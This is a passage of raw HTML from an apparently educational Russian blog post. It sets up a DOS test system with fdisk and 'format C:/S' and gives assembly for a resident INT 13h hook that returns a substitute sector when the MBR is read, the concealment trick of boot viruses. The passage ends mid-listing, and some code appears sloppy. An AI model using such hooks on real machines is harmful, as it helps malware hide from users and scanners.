src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEoSpTVrlr0kkcUjwi00kRmnqFawAcdhbHBQeWQ-D21plSCeWZ6fj2mWs25D8gaLw_RqFKg73YUP9tK-t-hUbwDkWed3cl3fN8o-kgUydQGRZGOGvGMK3QZUSd_IoswqNSg23S0-yYynr6/s640/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B923456789.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
запускаем на дискете&amp;nbsp;&lt;span lang=&quot;EN-US&quot;&gt;fdisk&lt;/span&gt;- создаем партицию.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
после создания форматируем&amp;nbsp;&lt;span lang=&quot;EN-US&quot;&gt;format&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;C&lt;/span&gt;:/&lt;span lang=&quot;EN-US&quot;&gt;S&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
после того как форматировали , копируем необходимые файлы:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;C:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;md doss&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;copy A:\*.* .\doss&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;copy &amp;nbsp;A:\cd1.sys&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;copy A:\autoexec.bat&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;copy A:\himem.sys&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;copy A:\config.sys&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;copy&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;R&lt;/span&gt;:\&lt;span lang=&quot;EN-US&quot;&gt;example&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;C&lt;/span&gt;:&lt;/span&gt;&lt;span style=&quot;color: #f1c232;&quot;&gt;\&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
все,готово.Устанавливаем загрузку с харда.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZGWI-0t442F_4mI_7sSkXIhbqnEu4hgC8gaJY7S8lIeyb0fAEtRVk2oc79rDmKKaZiR3jLjoidLCD4A-WfnJJvjmyIuuXjC1pAz6ljHcq342xYtFvzbs8oBXb3i5c0CEhGbHuaeaZ4d_x/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9234567890.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;473&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZGWI-0t442F_4mI_7sSkXIhbqnEu4hgC8gaJY7S8lIeyb0fAEtRVk2oc79rDmKKaZiR3jLjoidLCD4A-WfnJJvjmyIuuXjC1pAz6ljHcq342xYtFvzbs8oBXb3i5c0CEhGbHuaeaZ4d_x/s640/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9234567890.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Приступаем к написанию кода.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Я создам несколько программ для разных методов перехвата.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: #cc0000;&quot;&gt;есть 2 метода:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: #cc0000;&quot;&gt;1)через прерывания ДОС&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: #cc0000;&quot;&gt;2)прямой манипуляцией таблицей векторов прерываний.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Начнем со второго, код слегка сложен, но в целом понятен. Данная программа
будет выполнять функцию «стэлс» (как загрузочные вирусы-только резидент).Она
не приносит никакого вреда,а лишь показывает основные аспекты перехвата
прерываний взаимодействием с таблицей векторов прерываний. При попытке прочесть
&lt;span lang=&quot;EN-US&quot;&gt;mbr&lt;/span&gt;- будет подставляться
другой сектор.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Сначала код, потом комментирование кода.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;.model
tiny&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;.code&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;.startup&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;jmp start&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;myint13:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;cmp ah,2&amp;nbsp;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;jne origint13h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;cmp cx,1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;jne origint13h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;mov ah,2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;mov al,1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;mov cx,4&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;mov dx,80&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;jmp origint13h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;origint13h:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;jmp cs:dword ptr orig13h &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;orig13h
dw ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;start:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor&amp;nbsp;
ax,ax&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ds,ax&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ax,offset myint13&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cli&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xchg word ptr ds:[13h*4],ax&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov word ptr cs:[orig13h],ax&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ax,cs&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xchg word ptr ds:[13h*4+2],ax&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov word ptr cs:[orig13h+2],ax&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sti&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push cs&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop ds&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;lea&amp;nbsp;&amp;nbsp;
dx, start&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;int 27h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;; mov
ax, 4c00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: lime;&quot;&gt;&amp;nbsp;;int 21h&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
итак: прыгаем на инициализацию кода.Попадаем сразу же на &lt;span lang=&quot;EN-US&quot;&gt;start&lt;/span&gt;.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;ax&lt;/span&gt;=&lt;span lang=&quot;EN-US&quot;&gt;ds&lt;/span&gt;=0&lt;/span&gt;&amp;nbsp; т.к. &lt;span lang=&quot;EN-US&quot;&gt;IVT&lt;/span&gt; (&lt;span lang=&quot;EN-US&quot;&gt;interrupt&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;vector&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;table&lt;/span&gt; - таблица векторов
прерываний) находится по адресу &lt;span style=&quot;color: cyan;&quot;&gt;0000:0000&lt;/span&gt;. (состоит из 256 элементов,к
сведению). Далее в &lt;span lang=&quot;EN-US&quot;&gt;ax&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;указывается т.н. &lt;span lang=&quot;EN-US&quot;&gt;ISR&lt;/span&gt;- &lt;span lang=&quot;EN-US&quot;&gt;interrupt&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;service&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;routine&lt;/span&gt; - &lt;span lang=&quot;UK&quot;&gt;то, куда
будет перекидываться &lt;/span&gt;прерывание, при условии что будут выполняться
определенные условия (тавтология)).Иначе говоря как и в перехвате в &lt;span lang=&quot;EN-US&quot;&gt;windows&lt;/span&gt;- обработчик. Затем,
в целях безопасности, сбрасываем флаг &lt;span lang=&quot;EN-US&quot;&gt;IF&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;и запрещаем прерываться.&amp;nbsp;
Далее уже просто- номер нашего прерывания (13- работа с дисковым в\в)
надо помножить на 4, (т.к. в реальном режиме работы процессора один элемент
таблицы векторов прерываний это 32 битный адрес обработчика),и получить
дескриптор &lt;span lang=&quot;UK&quot;&gt;к&lt;/span&gt;&lt;span lang=&quot;UK&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;ISR&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;,сначала в сегменте,
потом в оффсете. после чего снова запускаем прерывания с уже измененным
обработчиком. и устанавливаем резидент(т.е. основная часть завершается, а
обработчик «вешается» в память через &lt;span lang=&quot;EN-US&quot;&gt;int&lt;/span&gt; 27&lt;span lang=&quot;EN-US&quot;&gt;h&lt;/span&gt;). обработчик вообще
элементарен:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
проверяем, читают ли сектора- если нет, отдаем управление оригинальному
обработчику&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
проверяем, это &lt;span lang=&quot;EN-US&quot;&gt;mbr&lt;/span&gt;- если нет, отдаем
управление оригинальному обработчику.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
если читают &lt;span lang=&quot;EN-US&quot;&gt;mbr&lt;/span&gt; - мы читаем свой
сектор и возвращаем его.Вот в принципе и все.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
напишем простой листинг для чтения &lt;span lang=&quot;EN-US&quot;&gt;mbr&lt;/span&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;.model
tiny&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;.code&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;org
100h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;start:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;mov
cx,1 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;;mov
dx,80h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;mov
ax,0201h &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;int
13h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;push
bx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;xor
cx,cx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;lea
dx, FileName&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;mov
ah, 3ch &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;int
21h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;pop
bx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;xchg
dx,bx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor bx,bx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
